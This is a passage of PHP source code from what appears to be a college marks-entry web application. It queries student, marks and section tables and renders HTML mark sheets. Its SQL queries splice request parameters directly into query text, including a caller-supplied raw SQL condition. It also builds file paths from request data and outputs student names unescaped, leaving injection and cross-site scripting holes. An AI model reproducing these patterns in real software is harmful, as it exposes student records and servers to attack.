($aobj_context->mobj_data["limit"]); $Subcode = ($aobj_context->mobj_data["Subcode"]); $Degcode = ($aobj_context->mobj_data["Degcode"]); $Examno = ($aobj_context->mobj_data["Examno"]); $LastRegno = ($aobj_context->mobj_data["LastRegno"]); $FirstRegno = ($aobj_context->mobj_data["FirstRegno"]); $etype = ($aobj_context->mobj_data["g_m_1_2_type"]); $range_cond=($range=='')?"":" and stu.FREGNO like '%{$range}%'"; $e_data.="<table width='94%' cellspacing='0' cellpadding='0' border='0' >"; $e_data.="<tr><td class='act_txtclr' colspan='4' style='background-color:#3D83CC; color:#fff; font-weight:700; width:222px; padding:3px 6px; letter-spacing:0.5pt;'>Marks List</td> </tr>"; $e_data.="<tr style='background-image:url(../jqGrid3/themes/tarka/images/grid-blue-hd.gif);border-bottom:1px solid #CBC7B8; color:#000; font-weight:700; padding:3px 6px; letter-spacing:0.5pt;'>"; $e_data.="<td style='padding:2px; width:60px; border-left:1px solid #ccc; border-right:1px solid #ccc; border-bottom:1px solid #ccc;'><center>Reg No</center></td>"; $e_data.="<td style='padding:2px; width:140px; border-left:0px solid #ccc; border-right:1px solid #ccc; border-bottom:1px solid #ccc;'><center>Student Name</center></td>"; $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #ccc; border-right:1px solid #ccc; border-bottom:1px solid #ccc;'><center>Marks</center></td>"; $e_data.="<td style='padding:2px; width:20px; border-left:0px solid #ccc; border-right:1px solid #ccc; border-bottom:1px solid #ccc;'><center>Ab/Pr</center></td>"; $e_data.="</tr>"; if($LastRegno!="") { $get_records="select Mak.FREGNO,stu.FNAME,FMARKS,FPRESENT from marks Mak INNER JOIN student stu on stu.FREGNO=Mak.FREGNO where stu.fdegree = mak.fdegree and Mak.Fdegree='{$Degcode}' and Mak.Fexamno='{$Examno}' {$range_cond} and FSUBCODE='{$Subcode}' and mak.FCOLLCODE='{$College_Code}' and Mak.FREGNO>'{$LastRegno}'order by Mak.FREGNO limit {$limit}"; } else { $get_records = " select Mak.FREGNO,stu.FNAME,FMARKS,FPRESENT from marks Mak INNER JOIN student stu on stu.FREGNO=Mak.FREGNO where stu.fdegree = mak.fdegree and Mak.Fdegree='{$Degcode}' and Mak.Fexamno='{$Examno}'{$range_cond} and FSUBCODE='{$Subcode}' and Mak.FCOLLCODE='{$College_Code}' order by Mak.FREGNO limit {$limit}"; } $lobj_get_records = $aobj_context->mobj_db->GetAll($get_records); $k=0; $border=($type=='Edit')?"":"border:none;"; $read_only=($type=='Edit')?"":"readOnly"; foreach($lobj_get_records as $key=>$value) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } $on_blur=($type=='Edit')?" onblur=\"validateEditRegNoMarks(this.id);\" ":" "; $on_focus=($type=='Edit')?" onfocus=\"if(\$g_mes_edit_valid_marks_flag==0) $('#mes_marks_{$value[FREGNO]}').focus();\" ":" "; $e_data.="<tr class={$class} >"; $e_data.="<td align='center' style=' border-left:1px solid #ccc; padding:2px;'><input {$inp_class} type=text name='Regno' style='width:80px;border:none;' readonly id='mes_reg_no_{$value[FREGNO]}' value='{$value[FREGNO]}'></td>"; $e_data.="<td align='center' style=' padding:2px;'><input {$inp_class} type=text style='width:170px;border:none;' readonly id='mes_std_name_{$value[FREGNO]}' value='{$value[FNAME]}'></td>"; $e_data.="<td align='center' style=' padding:2px;'><input {$inp_class} name=marks type=text style='width:30px;{$border}' {$read_only} id='mes_marks_{$value[FREGNO]}' {$on_blur} value='{$value[FMARKS]}' ></td>"; $e_data.="<td align='center' style=' padding:2px;'><input {$inp_class} type=text style='width:20px;border:none;' readonly id='mes_present_{$value[FREGNO]}' {$on_focus} value='{$value[FPRESENT]}'></td>"; $e_data.="</tr>"; $k++; } $e_data.="</table><br>"; $e_data.="<center><a href='#' onclick='MarkEnterySubjectWiseTablePrevPage()' style='color:#FF9900'><b>Prev</b></a> "; $e_data.="<a href='#' onclick='MarkEnterySubjectWiseTableNextPage()' style='color:#FF9900'><b>Next</b></a></center>"; $arr['html']=$e_data; $arr['table_data']=$lobj_get_records; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } /* Programer: Naveen Date: 30/3/2010 */ function getDisplayMarksEntrySubjectRegNos($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $College_Code = $_SESSION['collcode']; $FMULTEXAM = $_SESSION['FMULTEXAM']; $univcode = $_SESSION['FUNIVCODE']; $range = $aobj_context->mobj_data["range"]; $type = $aobj_context->mobj_data["type"]; $limit = $aobj_context->mobj_data["limit"]; $Subcode = $aobj_context->mobj_data["Subcode"]; $Degcode = $aobj_context->mobj_data["Degcode"]; $Examno = $aobj_context->mobj_data["Examno"]; $fsection = $aobj_context->mobj_data["fsection"]; $fsection1 = $aobj_context->mobj_data["fsection"]; $test = $aobj_context->mobj_data["test"]; if($fsection != '' && $fsection != 'undefined' && strtolower($fsection) != 'all') { $fsection = "stu.fsection = '{$fsection}'"; }else { $fsection = '1=1'; } $SubCategory = $aobj_context->mobj_data["SubCategory"]; $limit_start = $aobj_context->mobj_data["limit_start"]; $etype = $aobj_context->mobj_data["g_m_1_2_type"]; $condition_name = trim($aobj_context->mobj_data["condition_name"]); $condition_val = stripcslashes($aobj_context->mobj_data["condition_val"]); $mycondition = ($condition_name=='like')?$condition_name." '%{$condition_val}%' ":$condition_name.$condition_val; $path = $aobj_context->main_src.'/'.$aobj_context->mobj_data["db"].'/imported_files/'; $path_name = "imported_files/mes_{$College_Code}_{$_SESSION['user_id']}.html"; $filename = "{$path}mes_{$College_Code}_{$_SESSION['user_id']}.html"; unlink($filename); $fp = fopen($filename, 'w+'); $collspan = '5'; if($univcode == '034') $collspan = '6'; if($univcode != '040') { $get_app_cand_det="insert ignore into marks (FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, fmarks, fyear, fexamtype,FMODIFYDATE1) select c.fdegree,c.fexamno,c.fcollcode,c.fregno, s.fcsubcode,'-1', c.fyear,c.fexamtype,now() from canddet c inner join subject s on c.fdegree = s.fdegree and c.fexamno = s.fexamno and c.fsubcode = s.FSUBCODE inner join candsum cs on c.fregno =cs.fregno and c.fexamno = cs.ffreshexam where c.fexamno = '{$Examno}' and c.fcollcode = '{$College_Code}' and c.fdegree = '{$Degcode}' and ifnull(c.fpassmth,'') = '' and s.fintass = 'T' and ifnull(s.FCODENO,'F') = 'F'"; $res1 = $aobj_context->mobj_db->Execute($get_app_cand_det); } $query1 = "insert ignore into collia(fdegree,fexamno,fcollcode,fsubcode,FCREATEUSER) select distinct fdegree,fexamno,fcollcode,fsubcode,'A' from marks"; $res2 = $aobj_context->mobj_db->Execute($query1); $e_data.="<table width='90%' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<th align='left' colspan='$collspan' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:20px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; if($univcode == '034') $e_data.="<td style='padding:2px; width:65px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>UUCMS No.</center></td>"; $e_data.="<td style='padding:2px; width:65px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Reg No</center></td>"; $e_data.="<td style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Student Name</center></td>"; $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Marks</center></td>"; $e_data.="<td style='padding:2px; width:20px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Ab/Pr</center></td>"; $e_data.="</tr>"; if($univcode == '052') { $get_records ="select * from collia where fcollcode = '{$College_Code}' and fdegree = '{$Degcode}' and fsubcode = '{$Subcode}' and instr(fsection,'{$fsection1}') > 0"; //var_dump($get_records); $lobj_get_records = $aobj_context->mobj_db->GetRow($get_records); if($lobj_get_records) { $e_data.="<tr style='height: 20'>"; $e_data.="<td COLSPAN=4 align = 'center'><b>Subject is Freezed<b></td>"; $e_data.="</tr>"; $e_data.="</table><br>"; fwrite($fp, $e_data); $arr['filenme']=$path_name; fclose($fp); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } } /* $get_records ="select * from colldeg where fcollcode = '{$College_Code}' and fdegree = '{$Degcode}' and DATE_FORMAT(NOW(),'%Y-%m-%d') BETWEEN DATE_FORMAT(FIAMARKSDATE,'%Y-%m-%d') AND DATE_FORMAT(FIAMARKEDATE,'%Y-%m-%d')"; $lobj_get_records = $aobj_context->mobj_db->GetAll($get_records); if ($lobj_get_records == false) { $e_data.="<tr style='height: 20'>"; $e_data.="<td COLSPAN=4 align = 'center'><b>Last date is over for marks entry<b></td>"; $e_data.="</tr>"; } else { */ if($FMULTEXAM == 'T') { if($test != '') { if($etype == 1) { if($test == '1') $markscol = "IFNULL(mak.fmarks11, -1) as FMARKS,IFNULL(mak.FFREEZE11,'F') AS ffreeze,IFNULL(mak.FPRESENT11, '') AS FPRESENT"; if($test == '2') $markscol = "IFNULL(mak.fmarks21, -1) as FMARKS,IFNULL(mak.FFREEZE21,'F') AS ffreeze,IFNULL(mak.FPRESENT21, '') AS FPRESENT"; if($test == '3') $markscol = "IFNULL(mak.fmarks31, -1) as FMARKS,IFNULL(mak.FFREEZE31,'F') AS ffreeze,IFNULL(mak.FPRESENT31, '') AS FPRESENT"; if($test == '4') $markscol = "IFNULL(mak.fmarks41, -1) as FMARKS,IFNULL(mak.FFREEZE41,'F') AS ffreeze,IFNULL(mak.FPRESENT41, '') AS FPRESENT"; }else { if($test == '1') $markscol = "IFNULL(mak.fmarks12, -1) as FMARKS,IFNULL(mak.FFREEZE12,'F') AS ffreeze"; if($test == '2') $markscol = "IFNULL(mak.fmarks22, -1) as FMARKS,IFNULL(mak.FFREEZE22,'F') AS ffreeze"; if($test == '3') $markscol = "IFNULL(mak.fmarks32, -1) as FMARKS,IFNULL(mak.FFREEZE32,'F') AS ffreeze"; if($test == '4') $markscol = "IFNULL(mak.fmarks42, -1) as FMARKS,IFNULL(mak.FFREEZE42,'F') AS ffreeze"; } }else { $marks = ""; } } else { if($etype == 1) { $markscol = "IFNULL(mak.FMARKS, -1) as FMARKS,IFNULL(mak.FPRESENT, '') AS FPRESENT"; } else { $markscol = "IFNULL(mak.FMARKS2, -1) as FMARKS,IFNULL(mak.FPRESENT, '') AS FPRESENT"; } } if($univcode == '034') { $get_records = "select ifnull(fuucmsregno,'') as fuucmsregno, stu.FREGNO, stu.FNAME, {$markscol} FROM student stu inner join marks mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$Degcode}' and mak.Fexamno='{$Examno}' and mak.FCOLLCODE='{$College_Code}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE and sub.FCSUBCODE='{$Subcode}' and sub.FDEGREE='{$Degcode}' and sub.FEXAMNO='{$Examno}' WHERE stu.FREGNO != '' and stu.FREGNO {$mycondition} and {$fsection} group by stu.FREGNO order by stu.FREGNO limit {$limit_start}, 2000"; }else { $get_records = "select stu.FREGNO, stu.FNAME, {$markscol} FROM student stu inner join marks mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$Degcode}' and mak.Fexamno='{$Examno}' and mak.FCOLLCODE='{$College_Code}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE and sub.FCSUBCODE='{$Subcode}' and sub.FDEGREE='{$Degcode}' and sub.FEXAMNO='{$Examno}' WHERE stu.FREGNO != '' and stu.FREGNO {$mycondition} and {$fsection} group by stu.FREGNO order by stu.FREGNO limit {$limit_start}, 2000"; } $lobj_get_records = $aobj_context->mobj_db->GetAll($get_records); $k=1; $border_bottom=""; foreach($lobj_get_records as $key=>$value) { if($value['ffreeze'] == 'T' && $univcode == '033') $disable = "disabled"; else $disable = ""; if($value['FMARKS'] == '-2') $value['FMARKS'] = 'AB'; $fuucmsregno = $value['fuucmsregno']; if($k==count($lobj_get_records)) $border_bottom="border-bottom:1px solid #C5DBEC;"; $on_blur=($type=='Edit')?" onblur=\"validateEditRegNoMarks(this.id);\" ":" "; $on_focus=($type=='Edit')?" onfocus=\"if(\$g_mes_edit_valid_marks_flag==0) $('#mes_marks_{$value['FREGNO']}').focus();\" ":" "; $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>"; if($univcode == '034') $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$fuucmsregno}</td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'><input tabindex=-1 {$inp_class} type=text name='Regno' style='width:98%;border:none;text-align:center;' readonly id='reg_{$value['FREGNO']}' value='{$value['FREGNO']}'> </td>"; $e_data.="<td tabindex=-1 align='left' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;' id='mes_std_name_{$value['FREGNO']}' > {$value['FNAME']} </td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;'> <input name=marks type=text {$disable} style='width:30px;' id='mes_marks_{$value['FREGNO']}' class='ElementCount' onkeypress='return acceptNumbersOnlyForModule(event);' onchange = 'validateMarks(this.id);' value='{$value['FMARKS']}' onFocus='marksFlagCheck(this.id);' > <input type=hidden style='width:10px;' id='hidden_{$value['FREGNO']}' value='0'> </td>"; $e_data.="<td align='center' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;'> <input tabindex=-1 type=text style='width:20px;border:none;' readonly id='mes_present_{$value['FREGNO']}' {$on_focus} value='{$value['FPRESENT']}'></td>"; $e_data.="</tr>"; $k++; } if(empty($lobj_get_records)) { $e_data.="<tr style='height: 20'>"; $e_data.="<td COLSPAN=4 align = 'center'><b>No Records Found For this Search<b></td>"; $e_data.="</tr>"; } //} $e_data.="</table><br>"; fwrite($fp, $e_data); $arr['filenme']=$path_name; fclose($fp); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function getSection($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = $_SESSION['collcode']; $FMULTEXAM = $_SESSION['FMULTEXAM']; $userid = $_SESSION['user_id']; $usr = $_SESSION['usr']; $query = "select * from s_sysdb where internal_code= '{$userid}'"; $rst = $aobj_context->mobj_db->getRow($query); $usrtype = $rst['user_type']; $degcode = $aobj_context->mobj_data["degcode"]; $examno = $aobj_context->mobj_data["examno"]; $db = $aobj_context->mobj_data["db"]; $query = "select fsection from student where fcollcode = '{$collcode}' and fdegree = '{$degcode}' and ifnull(fsection,'') <> ''"; $results = $aobj_context->mobj_db->GetAll($query); if($results) { if($usrtype == '14' || $usrtype == '40' || $db == 'jssstu') { $query = "select distinct fsection from student where fcollcode = '{$collcode}' and fdegree = '{$degcode}' and ifnull(fsection,'') <> ''"; $results = $aobj_context->mobj_db->GetAll($query); echo $aobj_context->mobj_output->ToJSONEnvelope($results,-3,"success"); return; }else { $query = "select distinct fsection from usrsection where fcollcode = '{$collcode}' and fdegree = '{$degcode}' and fexamno = '{$examno}' and fuserid = '{$userid}' and ifnull(fsection,'') <> ''"; // var_dump($query); $results = $aobj_context->mobj_db->GetAll($query); if($results) { echo $aobj_context->mobj_output->ToJSONEnvelope($results,0,"success"); return; }else { $arr = "Not Eligible to Enter Marks.Please identify Section for Exam ".strtoupper($examno); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); return; } } }else { $query = "select 'All' as fsection from student where fcollcode = '{$collcode}' and fdegree = '{$degcode}' limit 1"; $results = $aobj_context->mobj_db->GetAll($query); echo $aobj_context->mobj_output->ToJSONEnvelope($results,0,"success"); return; } } ?>
Close